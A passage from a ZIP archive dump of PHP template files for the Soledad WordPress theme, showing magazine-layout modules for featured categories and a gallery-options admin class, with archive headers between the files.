                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
        <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
		<?php if ( get_theme_mod( 'penci_home_cat_author_sposts' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
            <div class="grid-post-box-meta mag-meta">
				<?php if ( get_theme_mod( 'penci_home_cat_author_sposts' ) ) : ?>
                    <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                class="url fn n"
                                href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                    <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                    <span class="featc-comment"><a
                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
					echo '<span class="featc-views">';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				} ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <span class="featc-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\Ps 2  2  !  inc/modules/magazine-style-10.phpnu [        <?php
/**
 * Template display for featured category style 10
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>

<div class="mag-post-box hentry<?php if ( $m < 3 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m < 3 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', $post_id,$size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( $post_id, $size_pie );
		}
		?>

            <a <?php echo penci_layout_bg( penci_image_srcset( $post_id,penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 2 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	            <?php echo penci_layout_img( penci_image_srcset( $post_id,penci_featured_images_size() ), get_the_title() ); ?>
            </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m < 3 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ( ( $m < 3 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m < 3 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( $post_id );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m < 3 ): ?></div><?php endif; ?>
		<?php if ( $m < 3 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div class="mag-excerpt entry-content">
				<?php 
				if( get_theme_mod( 'penci_excerptcharac' ) ){
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\OD/$  $  #  inc/modules/featured-categories.phpnu [        <?php
/**
 * Display featured categories on magazine layout
 *
 * @since 1.0
 */
$featured_cat_child  = isset( $args['featured_cat_child'] ) ? wp_list_pluck( $args['featured_cat_child'], 'slug' ) : '';
$featured_cats       = get_theme_mod( 'penci_home_featured_cat' );
$featured_cats       = str_replace( ' ', '', $featured_cats );
$featured_categories = explode( ',', $featured_cats );
$featured_categories = $featured_cat_child ? $featured_cat_child : $featured_categories;

foreach ( $featured_categories as $fea_cat ) {
	$fea_oj = get_category_by_slug( $fea_cat );
	if ( ! empty ( $fea_oj ) ) {
		$fea_cat_id    = $fea_oj->term_id;
		$fea_cat_name  = $fea_oj->name;
		$cat_meta      = get_option( "category_$fea_cat_id" );
		$cat_layout    = isset( $cat_meta['mag_layout'] ) ? $cat_meta['mag_layout'] : 'style-1';
		$cat_ads_code  = isset( $cat_meta['mag_ads'] ) ? $cat_meta['mag_ads'] : '';
		$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_1' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_1' ) : '5';
		if ( $cat_layout == 'style-2' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_2' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_2' ) : '4';
		} elseif ( $cat_layout == 'style-3' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_3' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_3' ) : '4';
		} elseif ( $cat_layout == 'style-4' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_4' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_4' ) : '6';
		} elseif ( $cat_layout == 'style-5' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_5' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_5' ) : '6';
		} elseif ( $cat_layout == 'style-6' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_6' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_6' ) : '5';
		} elseif ( $cat_layout == 'style-7' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_7' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_7' ) : '6';
		} elseif ( $cat_layout == 'style-8' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_8' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_8' ) : '3';
		} elseif ( $cat_layout == 'style-9' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_9' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_9' ) : '8';
		} elseif ( $cat_layout == 'style-10' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_10' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_10' ) : '6';
		} elseif ( $cat_layout == 'style-11' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_11' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_11' ) : '4';
		} elseif ( $cat_layout == 'style-12' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_12' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_12' ) : '6';
		} elseif ( $cat_layout == 'style-13' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_13' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_13' ) : '6';
		} elseif ( $cat_layout == 'style-14' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_14' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_14' ) : '6';
		} elseif ( $cat_layout == 'style-15' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_15' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_15' ) : '4';
		}

		$attr                     = array(
			'post_type' => 'post',
			'showposts' => $numbers_posts,
			'tax_query' => array(
				array(
					'taxonomy' => 'category',
					'field'    => 'slug',
					'terms'    => $fea_cat
				)
			)
		);
		$fea_query                = new WP_Query( $attr );
		$numers_results           = $fea_query->post_count;

		if ( $fea_query->have_posts() ) :

			$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
			$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
			$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
			$heading_align        = get_theme_mod( 'penci_featured_cat_align' ) ? get_theme_mod( 'penci_featured_cat_align' ) : $heading_widget_align;
			$catslider_autoplay   = get_theme_mod( 'penci_home_featured_cat_autoplay' ) ? 'false' : 'true';
			$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
			?>
			<?php if ( $cat_layout == 'style-2' || $cat_layout == 'style-14' ) {
			$wrap_class = '';
			if ( $cat_layout == 'style-14' ): $wrap_class = ' mag-cat-style-14'; endif;
			?>
            <div class="home-featured-cat mag-cat-style-2<?php echo $wrap_class; ?>">
		<?php } else { ?>
            <section class="home-featured-cat mag-cat-<?php echo esc_attr( $cat_layout ); ?>">
		<?php } ?>
            <div class="penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                <h3 class="inner-arrow"><a
                            href="<?php echo esc_url( get_category_link( $fea_cat_id ) ); ?>"><span><span><?php echo sanitize_text_field( $fea_cat_name ); ?></span></span></a>
                </h3>
            </div>
            <div class="home-featured-cat-content <?php echo esc_attr( $cat_layout ); ?>">
				<?php if ( $cat_layout == 'style-4' ): ?>
                <div class="swiper penci-single-mag-slider penci-owl-carousel penci-owl-carousel-slider swiper"
                     data-auto="<?php echo $catslider_autoplay; ?>" data-dots="true" data-nav="false">
                    <div class="swiper-wrapper">
						<?php endif; ?>
						<?php if ( $cat_layout == 'style-5' || $cat_layout == 'style-12' ):
						$data_item = 2;
						if ( $cat_layout == 'style-12' ): $data_item = 3; endif;
						?>
                        <div class="penci-magcat-carousel-wrapper">
                            <div class="swiper penci-owl-carousel penci-owl-carousel-slider swiper penci-magcat-carousel"
                                 data-auto="<?php echo $catslider_autoplay; ?>" data-speed="400"
                                 data-item="<?php echo $data_item; ?>" data-desktop="<?php echo $data_item; ?>"
                                 data-tablet="2" data-tabsmall="1">
                                <div class="swiper-wrapper">
									<?php endif; ?>
									<?php if ( $cat_layout == 'style-7' || $cat_layout == 'style-8' || $cat_layout == 'style-13' ): ?>
                                    <ul class="penci-grid penci-grid-maglayout penci-fea-cat-<?php echo $cat_layout; ?>">
										<?php endif; ?>
										<?php
										$m = 1;
										while ( $fea_query->have_posts() ): $fea_query->the_post();
											include( locate_template( 'inc/modules/magazine-' . $cat_layout . '.php' ) );
											$m ++; endwhile;
										?>
										<?php if ( $cat_layout == 'style-7' || $cat_layout == 'style-8' || $cat_layout == 'style-13' ): ?>
                                    </ul>
								<?php endif; ?>
									<?php if ( $cat_layout == 'style-5' || $cat_layout == 'style-12' ): ?>
                                </div>
                            </div>
                        </div>
					<?php endif; ?>
						<?php if ( $cat_layout == 'style-4' ): ?>
                    </div>
                </div>
			<?php endif; ?>
            </div>

			<?php if ( get_theme_mod( 'penci_home_featured_cat_seemore' ) ):
			$viewall_class = '';
			if ( get_theme_mod( 'penci_home_featured_cat_remove_arrow' ) ): $viewall_class .= ' penci-btn-remove-arrow'; endif;
			if ( get_theme_mod( 'penci_home_featured_cat_readmore_button' ) ): $viewall_class .= ' penci-btn-make-button'; endif;
			if ( get_theme_mod( 'penci_home_featured_cat_readmore_align' ) ): $viewall_class .= ' penci-btn-align-' . get_theme_mod( 'penci_home_featured_cat_readmore_align' ); endif;
			?>
            <div class="penci-featured-cat-seemore penci-seemore-<?php echo esc_attr( $cat_layout );
			echo $viewall_class; ?>">
                <a href="<?php echo esc_url( get_category_link( $fea_cat_id ) ); ?>"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

			<?php if ( $cat_ads_code ): ?>
            <div class="penci-featured-cat-custom-ads">
				<?php echo do_shortcode( stripslashes( $cat_ads_code ) ); ?>
            </div>
		<?php endif; ?>

			<?php if ( $cat_layout == 'style-2' || $cat_layout == 'style-14' ) { ?>
            </div>
		<?php } else { ?>
            </section>
		<?php } ?>
		<?php
		endif;
		wp_reset_postdata();
	}
}
PK     N\^  ^  !  inc/modules/magazine-style-15.phpnu [        <?php
/**
 * Template display for featured category style 15
 *
 * @since 1.0
 */
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
		<?php if ( $m == 1 || get_theme_mod( 'penci_home_thumbnail15' ) ) { ?>
            <div class="magcat-thumb">
				<?php
				$size_pie = 'small';
				if ( $m == 1 ): $size_pie = 'normal'; endif;
				do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), $size_pie );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>

				<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php } ?>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\0֦S  S    inc/modules/gallery.phpnu [        <?php
if ( ! class_exists( 'Penci_Add_Options_To_Gallery_Setting' ) ) {
	class Penci_Add_Options_To_Gallery_Setting {
		/**
		 * Stores the class instance.
		 *
		 * @var Penci_Add_Options_To_Gallery_Setting
		 */
		private static $instance = null;


		/**
		 * Returns the instance of this class.
		 *
		 * It's a singleton class.
		 *
		 * @return Penci_Add_Options_To_Gallery_Setting The instance
		 */
		public static function get_instance() {

			if ( ! self::$instance ) {
				self::$instance = new self;
			}

			return self::$instance;
		}

		/**
		 * Initialises the plugin.
		 */
		public function init_plugin() {

			$this->init_hooks();
		}

		/**
		 * Initialises the WP actions.
		 *  - admin_print_scripts
		 */
		private function init_hooks() {

			add_action( 'wp_enqueue_media', array( $this, 'wp_enqueue_media' ) );
			add_action( 'print_media_templates', array( $this, 'print_media_templates' ) );
		}


		/**
		 * Enqueues the script.
		 */
		public function wp_enqueue_media() {

			if ( ! isset( get_current_screen()->id ) || get_current_screen()->base != 'post' ) {
				return;
			}

			wp_enqueue_style( 'wp-color-picker' );
			wp_enqueue_script( 'wp-color-picker' );
			wp_enqueue_script( 'penci-custom-gallery-options', PENCI_SOLEDAD_URL . '/js/admin-gallery.js', array(
				'jquery',
				'media-views'
			) );
			wp_localize_script( 'penci-custom-gallery-options', 'PenciObject', array(
				'WidgetImageTitle'  => esc_html__( 'Select an image', 'soledad' ),
				'WidgetImageButton' => esc_html__( 'Insert into widget', 'soledad' ),
				'ajaxUrl'           => admin_url( 'admin-ajax.php' ),
				'nonce'             => wp_create_nonce( 'ajax-nonce' ),
			) );

			wp_enqueue_script( 'penci-custom-gallery-options-new', PENCI_SOLEDAD_URL . '/js/admin-gallery-new.js', array(
				'jquery',
				'media-views'
			) );
		}

		/**
		 * Outputs the view template with the custom setting.
		 */
		public function print_media_templates() {

			if ( ! isset( get_current_screen()->id ) || get_current_screen()->base != 'post' ) {
				return;
			}

			?>
            <script type="text/html" id="tmpl-penci-custom-gallery-options">
                <label class="setting type">
                    <span>Style</span>
                    <select class="type" name="type" data-setting="type">
						<?php
						$sizes = apply_filters( 'image_size_names_choose', array(
							'justified'        => 'Justified',
							'masonry'          => 'Masonry',
							'grid'             => 'Grid',
							'single-slider'    => 'Single Slider',
							'thumbnail-slider' => 'Slider with Thumbnail',
							'3d' 			   => '3D Slider',
							'none'             => 'None'
						) );

						foreach ( $sizes as $value => $name ) { ?>
                            <option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'justified' ); ?>>
								<?php echo esc_html( $name ); ?>
                            </option>
						<?php } ?>
                    </select>
                </label>
            </script>
			<?php
		}

	}

	add_action( 'admin_init', array( Penci_Add_Options_To_Gallery_Setting::get_instance(), 'init_plugin' ), 20 );
}PK     N\    !  inc/modules/magazine-style-12.phpnu [        <?php
/**
 * Template display for featured category style 12
 *
 * @since 2.0
 */
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), 'small' );
			}
			?>

            <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
			</span>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title matcat-small-title entry-title"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta matcat-small-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\W       inc/modules/magazine-style-2.phpnu [        <?php
/**
 * Template display for featured category style 2
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>

<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m == 1 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {

			penci_display_piechart_review_html( get_the_ID(), $size_pie );
		}
		?>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>


		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
